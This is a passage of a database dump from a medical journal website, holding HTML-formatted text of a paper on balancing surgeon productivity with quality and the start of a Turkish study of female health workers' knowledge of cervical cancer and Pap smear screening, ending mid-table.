xss=\"removed\">1.2 Balancing\r\nproductivity and quality:</span></b><span xss=\"removed\"> Hospitals do not have to choose between productivity\r\nand quality. There are methods to balance these potentially competing goals.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">One\r\nsuch method is to abolish the incentive for productivity, including minimum\r\ncase volumes and wRVU targets. Surgeons in a strict salary model without a\r\nproductivity quotient have no incentive to increase volume at the expense of\r\nquality. There is scant evidence that surgeon earning a salary without\r\nproductivity incentives are apt to be unproductive. Many would argue that the\r\nsurgeon personality is incentive enough to ensure productivity. However, human\r\nnature being what it is, without an incentive to be productive some surgeons\r\nmay develop practice patterns over time with lower volumes. For a hospital this\r\nis an especially worrisome pattern for more senior surgeons who may hold\r\ntenured faculty positions and earn the highest salaries. The hospital is\r\nfinancially motivated to ensure these surgeons remain productive. Chiefs-of-staff\r\nor surgery department chairmen can track the productivity of individual\r\nsurgeons and address low outliers. A surgeon who takes advantage of the\r\nguaranteed salary while not earning his or her keep should be addressed\r\nfittingly, but little can be done if the surgeon holds tenure. A pure salary\r\nmodel without productivity incentives may fail to attract highly motivated\r\nsurgeons who seek to augment their income by working harder. A hospital can\r\novercome this by offering a sufficiently high salary, but this is a risky\r\nproposition from hospital perspective as there is no guarantee the surgeon’s\r\nproductivity will cover the salary expense.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">Another\r\nmethod to balance quality and productivity is to utilize a quality-based\r\nincentive system without a productivity component. Some hospitals are already\r\noffering financial incentives to surgeons with high-quality results. This\r\ncreates a culture where quality is prioritized, and the surgeon and hospital’s motivations\r\nare aligned. Since measuring quality does not involve the same smooth gradient\r\nas productivity based on wRVUs, incentive programs based on quality tend to\r\nrely upon hitting specific quality targets and then receiving a predetermined\r\nfinancial reward. Potentially this creates an all-or-nothing incentive program\r\nwhere surgeons exceeding the quality cut-off receive a bonus and the others do\r\nnot. Alternatively, smaller incentives can be awarded stepwise for each quality\r\ngoal a surgeon achieves such as for acceptable readmission rates, wound\r\ninfections, unplanned returns to the operating room, or venous thromboembolism.\r\nThe downside of this model is that there is still no financial incentive for\r\nrevenue generation.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">Quality\r\nand productivity can be balanced in a model which offers incentives for both. Productivity-based\r\nincentive programs can be modified to include a quality component, either in an\r\nincentive or disincentive fashion. Hospitals offering a productivity incentive\r\nbased on wRVUs can increase or decrease the surgeon’s bonus based upon meeting\r\nor failing to meet a quality metric. The hospital must carefully balance the\r\nweight of the quality component to ensure that there is no incentive to\r\novercome a quality deficit with additional productivity. Such a model might\r\noffer a 25% increase in the productivity bonus payment for meeting 3 of 5\r\nquality metrics and a 50% increase for meeting 5 of 5. Another model might cut\r\na surgeon’s productivity bonus by a significant percentage for failing to meet\r\npredefined quality metrics. The weight that the hospital places on the quality\r\ncomponent of the bonus will drive the surgeons’ focus on quality. A hospital\r\nthat offers a small additional bonus for quality will not engender the same\r\nattention to quality as a hospital that threatens to withhold an entire\r\nproductivity bonus for failing to meet quality standards.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">Beware\r\nof mixed messages: While a hospital’s incentive program to surgeons may\r\nadequately balance quality and productivity, the hospital must take care to\r\nprevent subtle messages that productivity is the true goal. Such messages might\r\ncome from an operating room manager who chastises surgeons for not utilizing\r\nenough of their block time or publicly complains of being overstaffed when there\r\nare unutilized operating rooms. Other messages might come from department\r\nchairs who focus too heavily on case volume or revenue. Hospitals that\r\nsuccessfully foster a culture balancing productivity with quality align all\r\nparts of the organization in the pursuit of those joint targets. The message\r\nconveyed from top to bottom within the hospital must be that quality is every\r\nbit as important as productivity.</span></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><b><span xss=\"removed\">2. Conclusion</span></b></p>\r\n\r\n<p class=\"MsoNormalCxSpMiddle\" xss=\"removed\" xss=removed><span xss=\"removed\">Balancing\r\nproductivity with quality is not an easy task. Hospitals that successfully do\r\nso motivate all employees, including surgeons, to pursue both goals concurrently.\r\nWhile there may be some trade-off between quality and productivity, the two\r\nconcepts need not necessarily compete with each other. In today’s\r\nquality-focused healthcare environment, hospitals are being rewarded for\r\nquality in addition to productivity. The trend is likely to continue with an\r\nincreasing focus on the quality component. Hospitals that successfully motivate\r\ntheir surgeons toward that goal are likely to be recognized in rankings and\r\nrewarded by patient loyalty.</span></p>                                            \r\n                                                                        ','                                                                                                                                                                                                                                                                                                                                                                                                                                                        <p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><span lang=\"EN-IN\" xss=\"removed\"><b>1. </b><a href=\"https://doi.org/10.1067/j.cpradiol.2015.09.006\">Baadh A, Peterkin Y, Wegener M, Flug J, Katz D, et\r\nal. (2016) The Relative Value Unit: History, Current Use, and Controversies.\r\nCurrent Problems in Diagnostic Radiology 45: 128-132</a>.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">2. </span></b><span lang=\"EN-IN\" xss=\"removed\"><a href=\"https://doi.org/10.1097/ruq.0b013e3182915931\">Dubinsky TJ (2013) Comprehensive review of the\r\nlimitations of relative value unit measurements of productivity in academic\r\ndepartments. Ultrasound Quarterly 29: 97-102.</a></span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">3. </span></b><span lang=\"EN-IN\" xss=\"removed\">Merritt-Hawkins (2017) Review of Physician\r\nand Advanced Practitioner Recruiting Incentives.\r\nhttps://www.merritthawkins.com/uploadedFiles/MerrittHawkins/Pdf/2017_Physician_Incentive_Review_Merritt_Hawkins.pdf\r\n2017.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">4. </span></b><span lang=\"EN-IN\" xss=\"removed\"><a href=\"https://doi.org/10.1016/j.jvs.2016.08.104\">Awad N, Caputo FJ, Carpenter JP, Alexander JB, Trani\r\nJL, et al. (2017) Relative value unit-based compensation incentivization in an\r\nacademic vascular practice improves productivity with no early adverse impact\r\non quality Journal of Vascular Surgery 65: 579-582.</a></span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">5. </span></b><span lang=\"EN-IN\" xss=\"removed\">US News and World Report.\r\nhttps://health.usnews.com/health-care/best-hospitals/articles/faq-how-and-why-we-rank-and-rate-hospitals.\r\n2017.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">6. </span></b><span lang=\"EN-IN\" xss=\"removed\">Vizient Inc. https://www.vizientinc.com/.\r\n2017.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">7. </span></b><span lang=\"EN-IN\" xss=\"removed\">American College of Surgeons. ACS National\r\nSurgical Quality Improvement Program.\r\nhttps://www.facs.org/quality-programs/acs-nsqip. 2017.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">8. </span></b><span lang=\"EN-IN\" xss=\"removed\">The Leapfrog Group. Leapfrog Scoring.Methadologyhttp://www.hospitalsafetygrade.org/media/file/HospitalSafetyGrade_ScoringMethodology_Spring2017_Final2.pdf.\r\n2017.</span></p><p class=\"MsoListParagraphCxSpFirst\" xss=\"removed\"><b><span lang=\"EN-IN\" xss=\"removed\">9. </span></b><span lang=\"EN-IN\" xss=\"removed\"><a href=\"https://doi.org/10.1097/jhm-d-17-00009\">Dolan RW, Nesto R, Ellender S, Luccessi C (2017)\r\nResults, Knowledge, and Attitudes Regarding an Incentive Compensation Plan in a\r\nHospital-Based, Academic, Employed Physician Multispecialty Group. Journal of\r\nHealthcare Management 62: 120-133.</a></span></p>                                            \r\n                                                                                        ','                                                    ','                                                                                        Fankhauser GT (2018) Maintaining Surgical Quality in a Productivity-Driven Reimbursement Environment. J Surg Insights: JSUI-001.                                                                                                                                                                                                                                                                                                                                                                                                            \r\n                                                                                        ','                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    \r\n                                                                                        ','1531280542.pdf',NULL,'1531280544.jpg','',0,1,'2018-07-11 09:12:24','2018-07-11 10:52:31',1),(2,30,'20','2018','Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and the Practice of Pap Smear Screening Test','Melek Dogan1, Mine Bekar2','Research Article','Knowledge-Assessment-of-Female-Health-Workers-Regarding-the-Risk-Factors-of-Cervical-Cancer-and-the-Practice-of-Pap-Smear-Screening-Test','Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and the Practice of Pap Smear Screening Test','Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and-the Practice of Pap Smear Screening Test','Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and-the Practice of Pap Smear Screening Test','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Melek Dogan<sup>1</sup>, Mine Bekar<sup>2*</sup></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Kayseri City Hospital, Kayseri, Turkey</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Department of Midwifery, Faculty of Health Sciences, Sivas Cumhuriyet University, Sivas, Turkey</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Mine Bekar, Department of Midwifery, Faculty of Health Sciences, Sivas Cumhuriyet University, Sivas, Turkey. Email: &nbsp;<a href=\"mailto:minebekar@gmail.com\">minebekar@gmail.com</a></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Dogan M, Bekar M (2018) Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and the Practice of Pap Smear Screening Test. J Obstet Gynecol Probl: JOGP-100001.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:&nbsp; </strong>June 20, 2018;<strong> Accepted Date:&nbsp; </strong>July 22, 2018;<strong> Published Date:&nbsp; </strong>August 08, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The present study is conducted in order to assess the knowledge of Female Healthcare Workers (FHWs) regarding the risk factors of cervical cancer and the practice of Pap smear screening test. The population of this descriptive study consisted of 1152 FHWs including doctors, nurses/midwives, physiotherapists, biologists, dieticians and healthcare technicians (laboratory, X-ray, emergency medical services, anesthetics, medical secretaries) working at Faculty of Medicine in Erciyes University (E<span style=\"color:red\">&Uuml;</span>TF). The entire population is taken as sample. Apart from those who re fuse to take part in this study, are on vacation or have a sick note, 950 FHWs have participated.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">According to findings in this study, 64.2% of the FHWs are in the age range of 25-34 years old, 29.9% are university graduates, 52.6% are nurses and midwives, 21.1% are technicians, 54.6% are married, 51.7% have never had a pelvic exam and 80.5% have not undergone Pap smear screening test before. The attitude of FHWs towards having a pelvic exam, undergoing a Pap smear screening test, informing individuals on cervical cancer differs based on their age, marital status, educational status and occupation and this difference is found to be statistically meaningful (p&lt;0.05). The knowledge and practices of FHWs on the risk factors of cervical cancer and Pap smear screening test were identified to be insufficient.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>Cervical Cancer; Female Health Workers (FHWS); Pap Smear Screening</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cervical cancer is a cancer that could easily be early diagnosed and presents high mortality rates when not detected at an early stage. In terms of incidence rate, cervical cancer is the second most common one among gynecologic cancers worldwide and is the most frequently diagnosed type of cancer in developing countries. It is one of the main causes of cancer related mortality worldwide and especially in developing countries with no routine screening tests. Despite the absence of a comprehensive database for Turkey, based on the currently available data (Globocan), cervical cancer is ranked as the fifth most common cause of cancer death among women. In addition, the incidence of cervical cancer is reported to be 3.96 in 100.000 [1-6].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The high incidence rate of cervical cancer in developing countries is due to the lack of effective screening tests which allow detecting the presence of precancerous lesions and treating them before they fully develop. While only 5% of women have had the screening test in developing countries, it reaches 90% in developed countries [7-10].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Pap smear is the most widely used screening test for examining cellular materials collected from the cervical and vaginal areas for diagnosing precancerous lesions. The widespread use of this test enables the diagnosis of cervical cancer [11,12]. Women should have regular screening tests like Pap smear and protect themselves against risk factors of cervical cancer (such as early onset of sexual intercourse, Human Papilloma Virus (HPV), tobacco usage) [13,14].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The cervical cancer, major health <a href=\"http://tureng.com/en/turkish-english/health%20impairment\">impairment</a> for women, familiarity of the society with the Pap smear screening test, used for the early diagnosis of cervical cancer and prevalence of the Pap smear examination are serious health problems. Avoiding cervical cancer, source of great stress and concerns, or lowering the relevant mortality rate via early diagnosis and treatment will only be possible by educating women in this regard [15-18].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.1. The Purpose of the Study</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Taking awareness-raising in the society as basis, the present study is planned to assess the knowledge of Female Healthcare Workers (FHWs) regarding the risk factors of cervical cancer and the practice of Pap smear screening test<strong>.</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Material and Methods</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The population of the study is composed of FHWs working at E&Uuml;TF. In this study the entire population is taken as sample (N=1152). The study, conducted between 24<sup>th </sup>of April and 6<sup>th</sup> of July 2007, included a total number of 950 FHWs who were available at the time and had given their consent to participate in the study. A 17-item personal information form I and a 34-item information form II covering the risk factors for cervical cancer, Pap smear screening and HPV were used as data collection tools in this research. These questionnaires had been prepared by the authors of the present study. FHWs were asked to fill out the forms individually within office hours and in a suitable, distraction-free environment at their institutions of employment. The researcher was present at the unit of FHWs until each participant have completed the filling out the questionnaires and collected them immediately afterwards. The questionnaire with 34 items have included true/false questions with pre-designed answers with yes/no/don&rsquo;t know options. The forms were evaluated in such a way that each correct response was given 2 points and each false response was given 0 points. The highest score in knowledge-based questionnaire was 68 %. The data were analyzed by using the Statistical Package for Social Sciences (SPSS) software. (Table 1).</span></p>\r\n','<div>\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14764024\">Wilson CM, Tobin S, Young RC.&nbsp; The exploding worldwide cancer burden: the impact of cancer on women. Int J Gynecol Cancer.2004;14: 1-11.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14631934\">American College of Obstetricians and Gynecologists&nbsp; ACOG practice bulletin. Cervical Cytology Screening. Number 45, Obstet Gynecol.2003; 102: 417-427.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ferlay J, Bray F, Pisani P, Parkin DM Globocan 2002 cancer incidence. Mortality and prevalence worldwide. IARC Cancer Base No.5 version 2.0, IARC Press, Lyon.2004.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lyon International Agency for Research on Cancer: Handbooks of Cancer Prevention. 9, Cervix Cancer Screening, IARC Press. 2005.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Akhan S. The Epidemiology of Cervical Cancer and HPV Serotypes in Turkey. Journal of Ankem. 2007; 21: 96-98.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Kalyoncu C, I??kl? B, &Ouml;zalp S, K&uuml;&ccedil;&uuml;k N. Knowledge, Attitudes and Behaviors about Pap Smear that Applicants Osmangazi University Gynecology and Obstetrics Clinic. Health and Society. 2003; 13: 60-66.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tandfonline.com/doi/abs/10.3810/pgm.2003.02.1375\">Ball C, Madden JE. Update on Cervical Cancer Screening. Current Diagnostic and Evidence-Based Management Protocols. J Postgraduate Medicine. 2003; 113: 59-70.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11814067\">Smith RA, Cokkinides V, Eyre HJ, von Eschenbach AC, Levin B, et al. American Cancer Society Guidelines for the Early Detection of Cancer. CA Cancer J Clin. 2002; 52: 8-22.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ries LAG, Eisner MP, Kosary CL, Hankey BF, Miller BA, et al. SEER Cancer Statistics Review,1975-2002, National Cancer Institute, Bethesda, MD. 2005.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">G&uuml;ner H, Ta?k?ran &Ccedil;. Epidemiology of Cervical Cancer and the Role of Human Papilloma Virus. J Turk Soc Obstet Gynecol. 2007; 4: 11-19.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14675320\">Gichangi P, Estambale B, Bwayo J, Rogo K, Ojwang S, et al. Knowledge and practice about cervical cancer and Pap smear testing among patients at Kenyatta National Hospital, Nairobi, Kenya. Int J Gynecol Cancer. 2003; 13: 827-833.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Elisabeth J, Buechler MD. Pap Smear test and HPV Infection. Sendrom. 2006; 18/8: 24-30.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15912536\">Garc?a-Closas R, Castellsague X, Bosch X, Gonzalez CA. The role of diet and nutrition in cervical carcinogenesis: A review of recent evidence. Int J Cancer. 2005; 117: 629-637.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/LENOVO/Downloads/The%20Aetiology%20of%20Cervical%20Cancer.%20Sheffield,%20UK:%20NHS%20Cervical%20Screening%20Programme,%201-5\">Bosch FX, Iftner T. The Aetiology of Cervical Cancer. Sheffield, UK: NHS Cervical Screening Programme, 2005;1-5.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15725861\">Waxman AG. Guidelines for cervical cancer screening, history and scientific rationale. Clin Obstet Gynecol. 2005; 48: 77-97.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16014118\">Philips Z, Avis M, Whynes DK. Knowledge of cervical cancer and screening among women in east-central England. Int J Gynecol Cancer. 2005; 15: 639-645.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scopemed.org/?mno=5260\">Aky&uuml;z A, G&uuml;ven&ccedil; G, Yavan T, Cetinturk A, K&ouml;k G. Evaluation of The Pap Smear Test Status of Woman and of the Factors Affecting This Status. Gulhane Med J. 2006; 48: 25-29.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reis N, Coskun A, Beji N. Quality of Life and Effective Factors in Gynecologic Cancers. Ataturk University Nursing College Journal. 2006; 9: 25-35.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Zemheri E, Koyuncuer A.The Importance of Pap Test in Early Diagnosis of Cervical Cancers. Sted. 2005; 14: 1-4.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12144686\">Wellensiek N, Moodley M, Moodley J, Nkwanya N. Knowledge of cervical cancer screening and use of cervical screening facilities among women from various socioeconomic backgrounds in Durban, Kwazulu Natal, South Africa. Int J Gynecol Cancer. 2002; 12: 376-382.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ozan H. Pap Smear: When? How? Who from? Hassa H (ed). The Society of Turkish Gynecology and Obstetrics. The Journal of Postgraduate Training and Actual Improvements.2005; 2: 36-40.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11383953\">Reid J. Women&rsquo;s Knowledge of Pap Smears, Risk Factors for Cervical Cancer and Cervical Cancer. JOGNN. 2001; 30: 299-305.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16681732\">Moreira ED, Oliveira BG, Ferraz FM, Costa S, Filho Costa JO, et al. Knowledge and attitudes about human papilloma virus, Pap smears, and cervical cancer among young women in Brazil: implications for health education and prevention. Int J Gynecol Cancer. 2006; 16: 599-603.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15572502\">Behbakht K, Lynch A, Teal S, Koen D, Massad&nbsp; S. Social and Cultural Barriers to Papanicolaou Test Screening in Urban Population. Obstet Gynecol.2004; 104: 1355- 1361.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Meteoglu I, &Ccedil;uhaci N, Hasg&ouml;ren S, Erkus M. Pap Smear and The System of Bethesda. Health and Public. 2004; 14: 26-28.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15802436\">American College of Obstetricians and Gynecologists ACOG Pratice bulletin. Clinical Management Guidelines for Obstetrician Gynecologists. Number 61, April 2005. Human papillomavirus. Obstet Gynecol; 2005;105: 905.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16445643\">Sriamporn S, Snijdersy P, Pientongz C, Pisani P, Ekalaksanananz T, et al. Human papillomavirus and cervical cancer from a prospective study in KhonKaen, Northeast Thailand. Int J Gynecol Cancer. 2006; 16: 266-269.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12453713\">Siahpush M, Singh GK. Socio-demographic predictors of Pap test receipt, currency and knowledge among Australian women. Prevent Med. 2002; 35: 362-368.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1413529/\">Mutyaba T, Mmiro F, Weiderpass E. Knowledge, attitudes and practices on cervical cancer screening among the medical workers of Mulago Hospital, Uganda. BMC Med Edu. 2006; 6: 13.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16460412\">Denny-Smith T, Bairan A, Page MC. A survey of female nursing students&rsquo; knowledge, health beliefs, perceptions of risk, and risk behaviors regarding human papillomavirus and cervical cancer. Journal of the American Academy of Nurse Practitioners. 2006; 18: 62-69.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1592337/\">Nuguyen T, McPhee SJ, Nguyen T, Tram L, Mock J. Predictor of cervical pap smear screening awareness, intention, and receipt among Vietnamese-American women. Am J Prev Med. 2002; 23: 207-214.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16803486\">Gharoro EP, Ikeanyi EN. An Appraisal of the level of awareness and utilization of the Pap smear as a cervical cancer screening test among female health workers in a tertiary health institution. Int J Gynecol Cancer. 2006; 16: 1063-1068.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/14664403\">Virtej P, Vasiliu C. Cytodiagnosis in cervical neoplasia: from the Babes/Papanicolaou smear to the actual Bethesda System. Clin Exp Obstet Gynecol. 2003; 30: 173-177.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12394564\">Twinn S, Shiu AT, Holrody E.&nbsp; Women&rsquo;s Knowledge About Cervical Cancer and Cervical Screening Practice. Cancer Nursing. 2002; 25: 377-384.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15550200\">Taira AV, Neukermans CP, Sanders GD. Evaluating Human Papillomavirus Vaccination Programs. Emerging Infectious Diseases. 2004; 10: 1915-1923.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16866792\">Giles M, Garland S. A study of women&rsquo;s knowledge regarding human papilloma virus infection, cervical cancer and human papillomavirus vaccines. Australian and New Zealand Journal of obstetrics and Ggynaecology. 2006; 46: 311-315.</a></span></li>\r\n</ol>\r\n</div>\r\n','','<p><span style=\"font-family:Times New Roman,Times,serif\">DoganM, BekarM (2018) Knowledge Assessment of Female Health Workers Regarding the Risk Factors of Cervical Cancer and the Practice of Pap Smear Screening Test. J ObstetGynecolProbl: JOGP-100001.</span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"background-color:#002060; width:358.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Demographic Characteristics (n=950)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Marital Status</strong></span></p>\r\n			</td>\r\n			<td style=\"width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">%</span></p>\r\n			</td>\r\n			<td style=\"width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Educational Status</strong></span></p>\r\n			</td>\r\n			<td style=\"width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Married</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">519</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">54,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">High School</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">35</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Single</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">411</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">43,3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Associate&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td 